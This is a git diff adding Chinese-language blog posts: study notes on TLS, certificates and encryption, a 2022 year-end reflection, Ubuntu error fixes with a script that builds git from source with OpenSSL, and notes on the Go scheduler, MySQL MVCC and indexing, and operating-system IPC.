+- 支持的压缩方法 +- TLS 版本 + +服务端收到客户端的信息之后需要给客户端返回什么信息? + +- CA 证书(对服务端的一种认证)CA 是专门的数字认证机构 +- CA 证书里面有一个 电子签名,这个签名用来验证证书的完整性和真实性,可以防止证书被篡改。 +- CA 证书里面还有一个有效期限。 +- 此外对于非常重要的保密数据,服务端对客户端进行验证,具体做法是:服务端向客户端发出一个 Cerficate Request 消息,要求客户端发送证书对客户端的合法性进行验证。 +- 跟客户端一样,服务端也需要产生一个随机数发送给客户端。客户端和服务端都需要这两个随机数来产生一个 Master Secret. + +综合所述:服务端需要给客户端回应的信息应该包含以下内容: + +- 确认服务端使用的加密通信协议,比如 TLS 版本 +- 一个服务端产生的随机数,稍后用于生成“对话密钥” +- 确认使用的加密方法:RSA 公钥加密。 +- 服务器证书 + +#### CA + +现实中,通过 CA(Certificate Authority)来保证 public key 的真实性。CA 也是基于非对称加密算法来工作。有了 CA,B 会先把自己的 public key(和一些其他信息)交给 CA。CA 用自己的 private key 加密这些数据,加密完的数据称为 B 的数字证书。现在 B 要向 A 传递 public key,B 传递的是 CA 加密之后的数字证书。A 收到以后,会通过 CA 发布的 CA 证书(包含了 CA 的 public key),来解密 B 的数字证书,从而获得 B 的 public key。 + +具体过程: + +- B 把自己的 public key 和其他信息发送给 CA +- CA 用自己的 private key 加密这些信息,加密完 A 的信息被称为数字证书。 +- CA 把数字证书给 B +- B 把 CA 给自己的数字证书发给 A +- A 收到以后通过 CA 发布的证书(包含了 CA 的 public key)解密 B 的数字证书,从而获得 B 的 public key。 + +CA 的大杀器就是,CA 把自己的 CA 证书集成在了浏览器和操作系统里面。A 拿到浏览器或者操作系统的时候,已经有了 CA 证书,没有必要通过网络获取,那自然也不存在劫持的问题。 + +### 2.4.3 AES(Advanced Encryption Standard) + +AES(Advanced Encryption Standard),全称:高级加密标准,是一种最常见的对称加密算法(微信小程序加密传输就是用这个加密算法的)。 +明文 P:没有经过加密的数据。 + +密钥 K: +用来加密明文的密码,在对称加密算法中,加密与解密的密钥是相同的。密钥为接收方与发送方协商产生,但不可以直接在网络上传输,否则会导致密钥泄漏,通常是通过非对称加密算法加密密钥,然后再通过网络传输给对方,或者直接面对面商量密钥。密钥是绝对不可以泄漏的,否则会被攻击者还原密文,窃取机密数据。 + +AES 加密函数: +AES 解密函数: + +设 AES 解密函数为 D,则 P = D(K, C),其中 C 为密文,K 为密钥,P 为明文。也就是说,把密文 C 和密钥 K 作为解密函数的参数输入,则解密函数会输出明文 P。 + +### 2.4.4 CA/非对称加密 + +一种新的加密算法被提出,这就是非对称加密算法。非对称加密使用两个密钥,一个是 public key,一个是 private key。通过一个特殊的数学算法,使得数据的加密和解密使用不同的密钥。因为用的是不同的密钥,所以称为非对称加密。非对称加密最著名的是 RSA 算法. + +非对称加密算法里面的 public key 和 private key 在数学上是相关的,这样才能用一个加密,用另一个解密。不过,尽管是相关的,但以现有的数学算法,又没有办法从一个密钥,算出另一个密钥。 + +公钥和私钥。如果公钥用于加密,那么相关的私钥用于解密。如果私钥用于加密,那么相关的公钥用于解密。 + +非对称加密工作流程中的两个参与者是发送者和接收者。每个都有自己的一对公钥和私钥。首先,发送方获得接收方的公钥。接下来: + +- 发送方获得接收方的公钥. +- 发送方使用接收方的公钥对数据数据进行加密=密文,然后发送者把密文发给接收方,接收方用自己的私钥匙进行解密. +- 对纯文本消息进行加密。这将创建密文。密文被发送给接收者,接收者用他们的私钥对其进行解密,将其返回为清晰易读的明文。 +- 每个发送者都有接收者的公钥。 + +##### 非对称密码学的例子有哪些? + +RSA 算法——最广泛使用的非对称算法——嵌入在 SSL/TLS 中,用于在计算机网络上提供安全通信。RSA 的安全性源自对作为两个大质数乘积的大整数进行因式分解的计算难度。 + +将两个大质数相乘很容易,但从乘积中确定原始数字(因式分解)却很困难,这构成了公钥加密安全性的基础。分解两个足够大的素数的乘积所花费的时间超出了大多数攻击者的能力。 + +RSA 密钥通常为 1024 或 2048 位长,但专家认为 1024 位密钥很快就会被破解,这就是为什么政府和行业正在转向 2048 位的最小密钥长度。 + +椭圆曲线密码术(ECC) 作为 RSA 的替代方案受到许多安全专家的青睐。ECC 是一种基于椭圆曲线理论的公钥加密技术。它可以通过椭圆曲线方程的性质创建更快、更小和更高效的密码密钥。 + +要破解 ECC,攻击者必须计算椭圆曲线离散对数,这比因式分解要难得多。因此,ECC 密钥大小可以比 RSA 要求的密钥大小小得多,同时仍以较低的计算能力和电池资源使用提供同等的安全性。 + +##### 非对称密码学的使用 + +对称密码学也可以应用于许多用户可能需要加密和解密消息的系统,包括: + +- 加密的电子邮件。公钥可用于加密消息,私钥可用于解密消息。 +- SSL/TLS。在网站和浏览器之间建立加密链接也利用了非对称加密。 +- 加密货币。 比特币和其他加密货币依赖于非对称密码学。用户拥有每个人都可以看到的公钥和保密的私钥。比特币使用加密算法来确保只有合法所有者才能使用这些资金。 + +### 2.4.5 TLS 和 SSL 提供的服务有: + +- **身份验证** +- **协商加密算法** +- **传输加密密钥** + +### 2.4.6 TLS 和 SSL 的区别: + +- 报文鉴别码:SSL 和 TLS 的 MAC 算法。TLS 的 MAC 算法使用的是:连接运算,HMAC 使用的是异或运算 +- TLS 支持 SSL 的所有的报警代码 +- TLS 的主要目标是使得 SSL 更加安全,增强了更安全的 MAC 算法、更严密的警报 + +### 2.4.7 总结: + +SSL 在 TCP 建立连接之后,发出一个`ClientHello`来进行握手,这个消息里面包含了自己可实现的算法列表和其他需要的信息,服务段回应一个`ServerHello`,在这个里面去诶的嗯这次通信所需要的算法,然后发过去证书(里面包含了身份和自己的公钥),Client 在收到这个消息后会生成一个秘密消息,用 SSL 服务器的公钥加密后传过去,SSL 服务器端用自己的私钥解密后,会话密钥协商成功,双方可以用同一份会话密钥来通信了。 diff --git a/_posts/2022-12-31-test-markdown.md b/_posts/2022-12-31-test-markdown.md new file mode 100644 index 000000000000..4091bc7b048d --- /dev/null +++ b/_posts/2022-12-31-test-markdown.md @@ -0,0 +1,19 @@ +--- +layout: post +title: 2022年终总结 +subtitle: +tags: [annual summary] +--- + +我突然不知道该如何定义这一年。有时我感觉身处在一条缓慢而无尽头的河流,浸渍在湿答答的虚无里,偶尔又有短暂而干燥的快乐。2022 的上半年,一直在和糟糕的情绪做斗争,差点就坚持不下来了,谢谢老天和弗西汀让我又活了一年(磕头咚咚咚....) + +2022 年发生的事情太多,一半时间都在生病中度过,也在心力交瘁中学着新知识,不断充实自己的技能,感觉自己好像没有之前那么菜了(虽然现在依旧很菜 + +关于 2022 美好的回忆和取得的小成就在生日的那天已经总结过辣(其实是我懒得继续码字哈哈哈) + +2022 想感谢的人有很多,于是 👇 + +(整理衣服)(大步流星走上台)(拿起麦克风)(激情发言)感谢大家(热泪盈眶)(哽咽)对我一年(流泪)(擦眼泪)以来的包容和陪伴(呜咽)以及社区的大佬我机会和鼓励(哭)(收拾心情)(大声说)谢谢们!!!(激动)新的一年里 我会继续发疯 祸害大家!(大吼) + + +写在最后:希望我们在新的一年里,平安! 健康! 暴富! 暴美! 暴帅! (我们都会继续快乐地活过接下来的每一年) diff --git a/_posts/2022-12-5-test-markdown.md b/_posts/2022-12-5-test-markdown.md new file mode 100644 index 000000000000..33541aa3c587 --- /dev/null +++ b/_posts/2022-12-5-test-markdown.md @@ -0,0 +1,112 @@ +--- +layout: post +title: Ubuntu报错合集? +subtitle: +tags: [ubuntu] +--- + +# 没有 Release 文件。N:无法安全地用该源进行更新,所以默认禁用该源解决 + +> 进入/etc/apt/source.list.d 目录 +> 将对应 ppa 的 list 文件删除 + +例如:E: 仓库 “http://ppa.launchpad.net/soylent-tv/screenstudio/ubuntu focal Release” 没有 Release 文件。 +N: 无法安全地用该源进行更新,所以默认禁用该源。 +N: 参见 apt-secure(8) 手册以了解仓库创建和用户配置方面的细节。 + +那么就是删除和 soylent-tv/screenstudio 对应的文件 + +# git clone 命令时出现的 ‘gnutls_handshake() failed + +### Try 1:重装,没有成功,还是报错... + +### Try 2:执行脚本安装,漫长安装完成之后,根据报错,设置参数后可以使用 ssh 克隆仓库并且推送。 + +步骤:随便建立一个 sh 文件,直接执行就完事 + +```shell +bash ./compile-git-with-openssl.sh +``` + +bash 文件如下 + +```sh +#!/usr/bin/env bash +set -eu +# Gather command line options +SKIPTESTS= +BUILDDIR= +SKIPINSTALL= +for i in "$@"; do + case $i in + -skiptests|--skip-tests) # Skip tests portion of the build + SKIPTESTS=YES + shift + ;; + -d=*|--build-dir=*) # Specify the directory to use for the build + BUILDDIR="${i#*=}" + shift + ;; + -skipinstall|--skip-install) # Skip dpkg install + SKIPINSTALL=YES + ;; + *) + #TODO Maybe define a help section? + ;; + esac +done + +# Use the specified build directory, or create a unique temporary directory +set -x +BUILDDIR=${BUILDDIR:-$(mktemp -d)} +mkdir -p "${BUILDDIR}" +cd "${BUILDDIR}" + +# Download the source tarball from GitHub +sudo apt-get update +sudo apt-get install curl jq -y +git_tarball_url="$(curl --retry 5 "https://api.github.com/repos/git/git/tags" | jq -r '.[0].tarball_url')" +curl -L --retry 5 "${git_tarball_url}" --output "git-source.tar.gz" +tar -xf "git-source.tar.gz" --strip 1 + +# Source dependencies +# Don't use gnutls, this is the problem package. +if sudo apt-get remove --purge libcurl4-gnutls-dev -y; then + # Using apt-get for these commands, they're not supported with the apt alias on 14.04 (but they may be on later systems) + sudo apt-get autoremove -y + sudo apt-get autoclean +fi +# Meta-things for building on the end-user's machine +sudo apt-get install build-essential autoconf dh-autoreconf -y +# Things for the git itself +sudo apt-get install libcurl4-openssl-dev tcl-dev gettext asciidoc libexpat1-dev libz-dev -y + +# Build it! +make configure +# --prefix=/usr +# Set the prefix based on this decision tree: https://i.stack.imgur.com/BlpRb.png +# Not OS related, is software, not from package manager, has dependencies, and built from source => /usr +# --with-openssl +# Running ripgrep on configure shows that --with-openssl is set by default. Since this could change in the +# future we do it explicitly +./configure --prefix=/usr --with-openssl +make +if [[ "${SKIPTESTS}" != "YES" ]]; then + make test +fi + +# Install +if [[ "${SKIPINSTALL}" != "YES" ]]; then + # If you have an apt managed version of git, remove it + if sudo apt-get remove --purge git -y; then + sudo apt-get autoremove -y + sudo apt-get autoclean + fi + # Install the version we just built + sudo make install #install-doc install-html install-info + echo "Make sure to refresh your shell!" + bash -c 'echo "$(which git) ($(git --version))"' +fi +``` + +具体仓库地址:https://github.com/niko-dunixi/git-openssl-shellscript/blob/main/compile-git-with-openssl.sh diff --git a/_posts/2022-12-6-test-markdown.md b/_posts/2022-12-6-test-markdown.md new file mode 100644 index 000000000000..327af0bbbce4 --- /dev/null +++ b/_posts/2022-12-6-test-markdown.md @@ -0,0 +1,320 @@ +--- +layout: post +title: 调度器? +subtitle: +tags: [golang] +--- + +### 1. Go 语言的调度器 + +```text +Process-+Thread + | + | + +Thread +Goroutines + | + +Goroutines +``` + +Go 语言的调度器通过使用和 CPU 数量相等的线程:减少线程频繁切换的内存开销,然后在每个线程上面使用开销更低的 Goroutines 来减少操作系统硬件的负载。 + +单线程调度器 · 0.x +只包含 40 多行代码; +程序中只能存在一个活跃线程,由 G-M 模型组成; + +多线程调度器 · 1.0 +允许运行多线程的程序; +全局锁导致竞争严重; + +任务窃取调度器 · 1.1 +引入了处理器 P,构成了目前的 G-M-P 模型; +在处理器 P 的基础上实现了基于工作窃取的调度器; +在某些情况下,Goroutine 不会让出线程,进而造成饥饿问题; +时间过长的垃圾回收(Stop-the-world,STW)会导致程序长时间无法工作; + +### 2. 抢占式调度 + +- 基于协做的抢占式调度器,实现思路是:通过编译器在函数调用的时候插入检查抢占的指令,在函数调用的时候检查当前的 Goroutine 是否发起了抢占请求,实现了基于协作的抢占式调度。Goroutine 可能通过垃圾回收或者循环长时间的占用资源而导致程序暂停。 +- 基于信号的抢占式调度器,实现思路是:垃圾回收在扫描栈的时候触发抢占式调度。 + +单线程调度器 +1-获取调度器的全局锁; +2-调用 routime.gosave()保存栈寄存器和程序计数器 +3-调用 runtime.nextgandunlock 获取下一个需要运行的 Goroutine 并接锁调度器 +4-修改全局 M 上面要执行的 Goroutine +5-runtime.gogo 获取下一个需要运行的 Goroutine + +多线程调度器 +1-抢占锁 +2-引入了 GOMAXPROCS 变量帮助我们灵活控制程序中的最大处理器数,即活跃线程数。 保存寄存器和程序计数器 +3-获取下一个 Goroutine 并释放锁 +4-修改 M 上的 Goroutine +5-然后运行下一个 Goroutine +存在的问题: +调度器和锁是全局的资源,所有的调度状态都是中心化存储,锁竞争的问题严重。 +线程之间相互传递可运行的 Goroutine,引入大量的延迟。 +每个线程都需要处理内存缓存,导致大量的内存占用。 +系统调用频繁阻塞和解除阻塞正在运行的线程,增加了额外的开销。 + +任务窃取调度器 +处理器持有一个可以运行的 Goroutine 组成的环形的运行队列 runq,还反向持有一个线程 M,处理器会从处理器队列中选择队列头的 Goroutine 放在线程上进行执行。 +把每一个线程绑定到独立的 CPU,然后这些线程被不同的处理器管理,不同的处理器对任务进行工作窃取实现对任务的再分配。 + +基于协作的抢占式调度: +1- 编译器在调用函数前插入 runtime.morestack +2- 程序在运行的时候会在垃圾回收时暂停程序,系统监控发现 Goroutine 运行超过 10ms 的时候发起抢占式的请求。 +3-真正到了函数发生调用的时候,执行编译器插入的函数,判断 Goroutine 的字段 stackguard0 字段是否为 StackPreempt;如果 stackguard0 是 StackPreempt,就会触发抢占让出当前线程; + +基于信号的抢占式调度: +垃圾回收和栈扫描的时候 + +### 3. GMP 总结: + +M 是一个系统线程,由操作系统调度器调度 +G 是一个 Goroutine 代表一个待执行的任务 +P 是一个运行在线程上的本地调度器。 + +G 是 Go 语言调度器中待执行的任务,只存在在 Go 语言运行时,它是 G 哦语言在用户态提供的线程, + +我们知道,Go 的 goroutine 是用户态的线程(user-space threads),用户态的线程是需要自己去调度的,Go 有运行时的 scheduler 去帮我们完成调度这件事情。关于 Go 的调度模型 GMP 模型我在此不做赘述,如果不了解,可以看我另一篇文章(Go 调度原理) + +> 在Go的早期版本中,确实使用了GM模型,并且存在一个全局的锁(通常被称为schedlock)来保护Goroutine的调度。这种设计在并发度较低时可以工作得很好,但随着Goroutine数量的增加,这个全局锁成为了一个瓶颈。 + +以下是使用GM模型和全局锁的一些问题: + +全局锁的竞争:当多个OS线程(M)尝试调度Goroutines时,它们都需要获取这个全局锁。这导致了大量的锁竞争,尤其是在多核CPU上。 + +缺乏局部性:在GM模型中,所有的Goroutines都在一个全局队列中。这意味着每次调度Goroutine时,都可能需要从全局队列中获取,这降低了缓存局部性。 + +缺乏可伸缩性:由于全局锁和全局队列,GM模型在多核机器上的可伸缩性受到限制。 + +为了解决这些问题,Go的开发者引入了P(处理器)的概念,并转向了GMP模型。在GMP模型中: + +每个P都有自己的本地Goroutine队列,这提高了缓存局部性并减少了锁竞争。 +全局锁被移除,取而代之的是更细粒度的锁,如P的本地锁。 +P的数量通常与CPU核心数相同,这为Go的调度提供了一个自然的并行度,确保了在多核机器上的可伸缩性。 +因此,GMP模型不仅解决了全局锁的问题,还为Go提供了一个更高效、更可伸缩的并发模型。 + +### 4. 当 channel 缓存满了之后会发生什么?这其中的原理是怎样的? + +当名为 G1 的 goroutine 往 channel 写入数据的时候,这个时候,如果 channel 已经满了,调用调度器,然后让 G1 让出 M 的资源,(G1 变为等待的状态)M 调用其他可运行队列中的 G,使得 G 变为可以被调用的状态 +那么 go 的调度器会主动让 G1 等待,并从中让出 M,变为等待的 G1 将会抽象为含有 G1 指针和 Send 元素的 sudog,结构体保存到 hchan 的 sendq,等待被呼醒, + +那么,G1 什么时候被唤醒呢?这个时候 G2 隆重登场。 +读出数据的过程, +从缓冲区取出数据,然后 copy 数据到 G2,然后发送队列出队列,把 G1 要 send 的数据数据进入到缓冲区,然后把 G1 唤醒,把 G1 放到可以运行的队列当中 +G2 从缓存队列中取出数据,channel 会将等待队列中的 G1 推出,将 G1 当时 send 的数据推到缓存中,然后调用 Go 的 scheduler,唤醒 G1,并把 G1 放到可运行的 Goroutine 队列中。 + +### 5. Map 的数据结构是什么样子的? + +创建 Map 的时候,初始化一个 hmap 的结构体,同时分配一个足够大的内存空间 A,A 的前半段是 hash 数组,数据元素是 bucket 结构体,bucket 结构体存储一个链表指针;用来在冲突的时候指向溢出桶。后半段是预留给溢出的桶,于是,hamp.buckets 指向哈希数组, +所以创建 map 时一次内存分配既分配了用户预期大小的 hash 数组,又追加了一定量的预留的溢出桶,还做了内存对齐,一举多得。 + +- hash 数组+桶+溢出的桶链表,每个桶最多八个 key-value +- 插入的原理是:key 的哈希数值和桶的数量进行相与,得到 key 所在的 Hash 的桶,高八位再和桶的 tophash[i]进行对比,相同则进一步 +- 并发操作:Go map 不支持并发。插入(更新)、删除、搬迁等操作会置 hashWriting 标志,检测到并发直接 panic; +- map 的扩容策略有两种,真扩容就是,扩到 hash 桶的数量为原来的两倍,针对元素数量过多,之于假扩容,hash 桶的数量不变,hash 表只增不减。 +- 删除操作:设置删除位,且不能被使用 + +- hash 实现的算法其时间复杂度均为 O(1)。 + +### 6. 脏读——查询+更新+回滚+没有加锁 以及 脏读解决办法 + +导致其他查询操作读到没有提交的数据。 + +加行级锁+版本列 +加表锁+版本列 + +行锁和表锁的区别: +是否是索引节点 + +乐观锁和悲观锁区别: +加版本号+行级锁 + +排他锁和共享锁: +排他锁拒绝所有读写,共享锁可以并发读,拒绝写 + +### 7. 读到脏数据的隔离级别叫做 RU(Read Uncommited) + +Q: 先来个小问题,RU 级别没有任何锁,对吗? +A: +错误, RU 级别做 update 等增删改操作时,仍然会默认在事务更新操作中增加排他锁,避免 update 冲突。 +切记脏读的发生原因,是查询+更新+回滚时没加锁导致其他查询操作出现失误判断。 +即查询这块可能读到没提交的数据,导致错误,而不是更新的并发问题。 + +### 8. 当我们的数据库被设置成 RC 级别(Read commited)时, 可以解决脏读, 那么背后是怎么解决的呢? + +A: +业界有两种方式 + +LBCC 基于锁的并发控制(Lock-Based Concurrency Control)) + +LBCC 就是对所有的 select 操作试图加锁,这样被 update 的排他锁阻塞,避免了脏读。 + +MVCC 基于多版本的并发控制协议(Multi-Version Concurrency Control) + +(同一个数据保留多个版本,进而实现并发控制) +每个连接到数据库的读者,在某一个瞬间看到的数据库的一个快照,连接到数据库的每一个写者的写操作造成的变化是在(数据库事务提交之前)对于其他的读者来者来说是不可以见的。 +当一个 MVCC 数据库更新一条记录的时候,不会直接用新的数据覆盖旧的数据,而是将旧的数据标记为过时,在别处增加新版本的数据,这样就会存储多个版本的数据,但是只有一个是最新的数据,在这种情况下,允许读者读取之前已经存在的数据,即便在这个过程中间数据被删除,更新,对其他正在读的用户没有丝毫的影响。 +所以 InnoDb 是基于乐观锁的概念,在事务的背后实现了一套乐观锁的机制 + +- 查询的时候,只查询当前事务之前的记录,或者回滚版本比当前大的已删记录 +- 插入的时候,加新的版本记录 +- 删除的时候,把老记录标上回滚记录 +- 更新的时候,加新的记录,同时把老记录标记上回滚版本。 + +MVCC 插入的流程: +DB_TRX_ID(数据行的版本号) DB_ROLL_PT(删除版本号) + +```sql +begin;-- 获取到全局事务ID +insert into `test_zq` (`id`, `test_id`) values('5','68'); +insert into `test_zq` (`id`, `test_id`) values('6','78'); +commit;-- 提交事务 +``` + +id test_id DB_TRX_ID DB_ROLL_PT +5 68 1 NULL +6 78 1 NULL + +插入的时候,会把全局事务 ID 记录到`DB_TRX_ID`中去。 + +MVCC 删除的流程: + +```sql +begin;--获得全局事务ID = 3 +delete test_zq where id = 6; +commit; +``` + +执行完上述 SQL 之后数据并没有被真正删除,而是对删除版本号做改变,如下所示: + +id test_id DB_TRX_ID DB_ROLL_PT +5 68 1 NULL +6 78 1 3 + +MVCC 逻辑流程-修改 + +```sql +begin;-- 获取全局系统事务ID 假设为 10 +update test_zq set test_id = 22 where id = 5; +commit; +``` + +执行后表格实际数据应该是: + +id test_id DB_TRX_ID DB_ROLL_PT +5 68 1 10 +6 78 1 3 +5 22 10 NULL + +MVCC 逻辑流程-查询: + +```sql +begin;-- 假设拿到的系统事务ID为 12 +select * from test_zq; +commit; +``` + +查找数据行版本号早于当前事务版本号的数据行记录 + +执行结果应该是: + +id test_id DB_TRX_ID DB_ROLL_PT +5 22 10 NULL + +SELECT t1.\* FROM t1 JOIN t2 on t1.id = t2.id + +### 9. SQL 语句及索引的优化 + +- 用 join 代替子语句查询,选择 join 的时候,尽量用 inner join ,inner join 而不是 left join (left join 是大表驱动小的表) +- 用 In 替换 Or +- 使用 limit 的时候记住上一次查询的 ID +- 如果对排序没啥要求就少用 order by,在分组的时候会默认排序,那么这个时候就禁止排序。 +- select 只返回需要的列 +- in 和 exists in 用在内表比较小的时候, exists 用于内表比较大的时候。 +- 尽量使用数字型的字段,字符型的字段需要一个一个去比较 +- 用小结果集合去驱动大结果集,先连接数据量比较小的数据表,再去连接数据量比较大的表格,然后同时对被驱动的大的结果集合建立索引 +- 不在索引上做任何操作 `where id =1 ` 而不是 `where id +1 = 0 ` 计算会使得索引失效 +- 索引是 varchar 但是查询的时候没有加'',只有加上才能使得索引生效。 -`!=` `>= ` `<= ` `not in ` `not exists ` `not like ` `is null ` `is not null `都会使得索引失效导致全表扫描。 +- `%like%`的操作会使得索引失效。最好使用`like%` +- or 的语句左右,如果只有一个语句对应的列是索引列,那么无法使用索引.如果不需要 ORDER BY,进⾏ GROUP BY 时加 ORDER BY NULL,MySQL 不会再进⾏⽂件排序。 + +### 10. 优化⼦查询的⽅法 + +- 如果对排序没啥要求就少用 order by,在分组的时候会默认排序,那么这个时候就禁止排序。 +- 子查询改为关联查询 + +```sql +inner join on +``` + +```sql +select * from tbl_A where id in (select id from tbl_B) +``` + +```sql +select A.* from tbl_A inner join (select id from tbl_B)B on B.id=A.id +``` + +- 给字符的前几个字段设置索引(前提是前缀的辨识度比较高)实操的难度:在于前缀截取的⻓度。 + +### 11. MySQL 5.6 和 MySQL 5.7 对索引做了哪些优化? + +```sql +select * from user where a='23' and b like '%eqw%' and c like 'dasd' +``` + +如果使⽤了索引下推技术,则 MySQL 会⾸先返回返回条件 a='23'的数据的索引,然后根据模糊查询的条件来 +校验索引⾏数据是否符合条件,如果符合条件,则直接根据 索引来定位对应的数据,如果不符合直接 reject +掉。因此,有了索引下推优化,可以 在有 like 条件的情况下,减少回表的次数。 + +### 12. MySQL 有关权限的表有哪⼏个呢? + +user 权限表:记录允许连接到服务器的⽤户帐号信息,⾥⾯的权限是全局级的。 +db 权限表:记录各个帐号在各个数据库上的操作权限。 +columns_priv 权限表:记录数据列级的操作权限。 +table_priv 权限表:记录数据表级的操作权限。 + +### 13. MySQL 中都有哪些触发器? + +Before Insert +After Insert +Before Update +After Update +Before Delete +After Delete + +### 14. ⼤表怎么优化?分库分表了是怎么做的?分表分库了有什么问题? 有⽤到中间件么?他们的原理知道么? + +- 禁止不带限制范围的查询语句 + 当 MySQL 单表记录数过⼤时,数据库的 CRUD 性能会明显下降,⼀些常⻅的优化措施如 下:限定数据的范围: 务必禁⽌不带任何限制数据范围条件的查询语句。⽐如:我们当⽤户在查询订单历史的时候,我们可以控制在⼀个⽉的范围内。 +- 读/写分离: 经典的数据库拆分⽅案,主库负责写,从库负责读; +- 分库分表的⽅式进⾏优化 + +垂直分区 +根据数据库⾥⾯数据表的相关性进⾏拆分。 例如,⽤户表中既有⽤户的登录信息⼜有 ⽤户的基本信息,可以将⽤户表拆分成两个单独的表,甚⾄放到单独的库做分库。 +简单来说垂直拆分是指数据表列的拆分,把⼀张列⽐较多的表拆分为多张表。 + +垂直分表 +适用场景,如果一个表的某些列经常使用,另外一些列不经常使用,使得数据行变小,使得一个数据页可以存储更多的数据,查询的时候可以减少 I/O 的次数 +但是查询数据比较冗余,所有的操作需要 join 操 +水平分表,就是每一行数据分散到不同的表或者库中,达到了分布式的目的,水平拆分可以支持非常大的数据量,但由于表的数据还是在同⼀台机器上,其实对于提升 没有什么意义,所以 **⽔平拆分最好分库** 。 +水平拆分的时候可以降低在查询时需要读取的数据和索引的页数,但是查询的时候需要多个表名,查询所有数据需要 UNION 的操作, + +数据库分⽚的两种常⻅⽅案: + +客户端代理和中间件代理,在应用和数据之间增加了一个代理层,分片的逻辑维护在中间件的服务当中, + +### 15. 分库分表后⾯临的问题 + +事务⽀持 +分库分表后,就成了分布式事务了。如果依赖数据库本身的分布式事务管理功能去执⾏事 务,将付出⾼昂的性能代价; 如果由应⽤程序去协助控制,形成程序逻辑上的事务,⼜会 造成编程⽅⾯的负担。 + +跨库 join +主键 ID 的问题: +一旦一个数据库被切分到多个物理节点,那么不能依赖数据库本身的主键生成机制。UUID 使⽤ UUID 作主键是最简单的⽅案,但是 UUID 非常的长,在建立索引和基于索引进行查询时存在性能问题,分布式自增 Id 算法 + +### 16. 数据库表结构的优化:使得数据库结构符合三大范式与 BCNF + +使得数据库结构符合三大范式与 BCNF diff --git a/_posts/2023-1-1-test-markdown.md b/_posts/2023-1-1-test-markdown.md new file mode 100644 index 000000000000..63093fdace78 --- /dev/null +++ b/_posts/2023-1-1-test-markdown.md @@ -0,0 +1,200 @@ +--- +layout: post +title: 操作系统和网络? +subtitle: +tags: [操作系统] +--- + +### 进程和线程的区别? + +- 进程是资源管理的基本单位,因为进程的创建和撤销过程中,系统都要为之分配系统资源(内存空间,I/O 设备,)这也是进程切换开销大的原因。而线程是程序执行的基本单位,线程不拥有系统资源,线程是进程的一条执行流程,因为线程的创建只涉及到一个数据结构的分配。 +- 进程的上下文切换比线程的上下文切换要慢的多 +- 进程是拥有资源的一个单位,线程不拥有系统资源,但是可以访问隶属于进程的资源 + +#### 那说说进程上下文切换和线程上下文切换的具体过程和区别? + +进程的上下文切换分两步: +1-因为在进程切换的时候,内存中已经缓存的地址空间将做废,所以需要缓存新的地址空间,切换页表 +2-切换内核栈和硬件上下文 + +线程共享进程的地址空间,所以只需要切换内核栈和硬件上下文,线程切换的时候,不涉及虚拟地址空间的转换。 + +#### 为什么虚拟地址空间切换比较耗时? + +进程有自己的虚拟地址空间,把虚拟地址空间转化为物理地址需要查找页表,页表查找是一个很漫长的过程,通常会使用 Cache 来缓存地址映射,这里的 Cache 就是 TLB,TLB 的本质就是一个 Cache,用来加速页表查找,由于每个进程都有自己的虚拟地址空间,每个进程有自己的页表,进程切换导致 TLB 失效,Cache 失效导致命中率降低,那么虚拟地址转换为物理地址就会把变慢,程序运行就会变慢。 + +### 协程与线程的区别? + +- 线程是进程中间的一条执行流程,同一个进程里面的多个线程可以共享代码段,数据段,打开文件等资源,但是每个线程都有自己的独立的寄存器和栈。 +- 编写的代码是存储在硬盘的静态资源,编译后变成二进制可执行的文件,执行这个文件,这个文件被加载到内存,运行的文件是进程。 +- 线程和进程都是同步机制, 协程是异步机制。 +- 线程是抢占式,协程是非抢占式,用户释放使用切换到其他的协程。同一时间只有一个协程拥有运行的权利,相当于单线程的能力。 +- 一个线程可以有多个协程,一个进程也可以有多个协程。 +- goroutine 不被操作系统内核管理,而是由程序控制,线程是被分隔的 CPU 资源。 +- 线程是被分隔的 CPU 资源。Thread 是 goroutine 的资源,但是 goroutine 不直接使用 thread 而是使用与 Processer 关联的 Thread +- goroutinek 可以保留上一次执行的状态 +- 进程是资源管理的基本单位,线程是程序执行的基本单位,线程不拥有系统资源,只是运行必须的数据结构。每个线程有自己的堆栈,程序计数器和自己的局部变量,但是与分隔的进程相比,线程可以共享内存,文件句柄, + +### 进程调度 + +> 一个人(CPU)本来在做 A 项目,过了一会去做 B 项目了。 + +发生这种情况的原因: + +- CPU 在做 A ,做着做着发现 A 里面有一个指令`sleep`,那么这个时候,CPU 开始去做 B 项目。 +- CPU(人) 在做 A ,做着做着旷日持久,实在受不了了。项目经理介入了,说这个项目 A 先停停,B 项目也要做一下,要不然 B 项目该投诉了。 + +### 进程间通讯方式有哪些? + +#### 管道 + +管道:管道通信,在 Linux 中常有这样的场景,把一个进程的输出作为另外一个进程的输入去处理,比如 + +```shell +$ mkfifo pipe +$ ls -l pipe +$ echo "name" > pipe +``` + +可以通过 mkfifo 来创建一个命名管道,(本质上也就是创建了一个文件),然后管道,文件追加内容。但是这个时候无法写入内容,这是因为内核对管道的默认定义行为是阻塞的,因为只有另外一个进程从管道读取才能写入内容。 + +FIFO 是命名管道 PIPE 是匿名管道。 + +存在的问题是: + +- 使用匿名管道通讯的两个进程仅仅限于父子间进程。 +- 命名管道可以在**本机**上的任意两个进程间通信。 + +#### 信号 + +信号可以在任意的时间发送给某一个进程,而不需要直到该进程的状态。 + +- SIGHUP:用户从终端注销,所有已经启动的进程都将收到该进程.SIGHUP +- SIGINT:程序终止信号,在程序运行的过程中,按 Ctrl+C 将产生该信号。 +- SIGQUIT:程序退出信号。程序运⾏过程中,按 Ctrl+\键将产⽣该信号。 +- SIGBUS 和 SIGSEGV:进程访问⾮法地址。 +- SIGFPE:运算中出现致命错误,如除零操作、数据溢出等。 +- SIGKILL:⽤户终⽌进程执⾏信号。shell 下执⾏ kill -9 发送该信号。 +- SIGTERM:结束进程信号。shell 下执⾏ kill 进程 pid 发送该信号。 +- SIGALRM:定时器信号。 +- SIGCLD:⼦进程退出信号。如果其⽗进程没有忽略该信号也没有处理该信号,则⼦进程退出后将形成僵⼫进程。 + +#### 信号量 + +信号量是一个计数器,可以用来控制多个进程对资源的访问,信号量是一种锁机制。主要应用的场景是:进程之间或者同一个进程的不同的线程之间的同步手段。 + +#### 消息队列 + +消息队列是消息的链接表,包括 Posix 消息队列和 System V 消息队列。消息队列的实现是:有写权限的进程向队列写入数据,有读权限的进程可以读走队列中间的消息。消息的队列克服了信号承载的信息量少,管道只能承载无格式的字节流以及缓冲区大小收限等缺点。 + +> 接口标准(POSIX 和 System V) System V 时期的不同系统接口不一样,给移植带来了一定的麻烦,而 POSIX 将不同操作系统之间的上层 API 